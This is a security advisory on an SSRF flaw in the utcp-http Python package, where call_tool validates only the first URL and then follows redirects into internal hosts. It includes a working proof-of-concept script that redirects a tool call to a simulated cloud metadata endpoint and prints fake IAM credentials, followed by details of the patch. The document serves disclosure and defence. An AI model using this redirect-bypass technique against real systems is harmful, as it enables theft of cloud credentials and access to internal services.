high · 8.2Aug 25, 2026

utcp-http SSRF via Unvalidated HTTP Redirect in call_tool

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The utcp-http library validates a tool's URL before making a request but then follows redirects blindly, letting an attacker's server bounce the HTTP client into internal services like the cloud…

Packageutcp-http
Ecosystempip
Affected<= 1.1.3
Fixed in1.1.4
utcp-http SSRF via Unvalidated HTTP Redirect in call_tool

The problem

HttpCommunicationProtocol.call_tool runs ensure_secure_url once on the registered tool URL, then issues the aiohttp request with allow_redirects=True and never checks where the chain lands.

Any attacker who controls a tool endpoint (or can influence which URL gets registered) returns a 302 pointing at an internal address. The cloud metadata service, admin panels, and RFC-1918 hosts are all reachable this way. The response body is returned directly to the tool caller, making this a readable SSRF, not a blind one.

Proof of concept

A working proof-of-concept for this issue in utcp-http, with the exact payload below.

python
# pip install utcp-http==1.1.3 aiohttp
import asyncio, socket
from aiohttp import web
from utcp_http.http_communication_protocol import HttpCommunicationProtocol
from utcp_http.http_call_template import HttpCallTemplate

MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
          "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}

def lan_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
    finally: s.close()

async def main():
    internal = lan_ip()

    # Simulated internal metadata service (stands in for 169.254.169.254)
    meta = web.Application()
    meta.router.add_get(MD, lambda r: web.json_response(STOLEN))
    mr = web.AppRunner(meta, access_log=None); await mr.setup()
    ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
    internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}"

    # Attacker-controlled redirect server (tool endpoint the validator accepts)
    atk = web.Application()
    atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url}))
    ar = web.AppRunner(atk, access_log=None); await ar.setup()
    as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start()
    tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool"

    proto = HttpCommunicationProtocol()
    ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET")  # passes ensure_secure_url
    result = await proto.call_tool(None, "lookup", {}, ct)                 # follows 302 -> internal
    print("caller received:", result)  # prints stolen IAM credentials
    await ar.cleanup(); await mr.cleanup()

asyncio.run(main())

The root cause is a TOCTOU gap: ensure_secure_url validates the first URL, but aiohttp's default allow_redirects=True silently follows every subsequent Location header without calling the validator again. The LAN IP used in the PoC is rejected by ensure_secure_url exactly as 169.254.169.254 would be, proving the redirect hop is the bypass.

The patch (commit fc3268e) introduces safe_request_with_redirects in _security.py. It sets allow_redirects=False, manually reads each Location header, calls ensure_secure_url on it, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. This is CWE-918 (Server-Side Request Forgery) combined with CWE-601 (URL Redirection to Untrusted Site).

The fix

Upgrade to utcp-http >= 1.1.4 (and @utcp/http >= 1.1.4 for the TypeScript sibling). The 1.1.4 release replaces bare aiohttp calls with safe_request_with_redirects across HTTP, SSE, and streamable-HTTP plugins, including register_manual, call_tool, and the OAuth2 token-fetch path.

No workaround exists in earlier versions short of refusing all attacker-influenced manual URLs.

Reporter not attributed.

References: [1][2][3]

Related research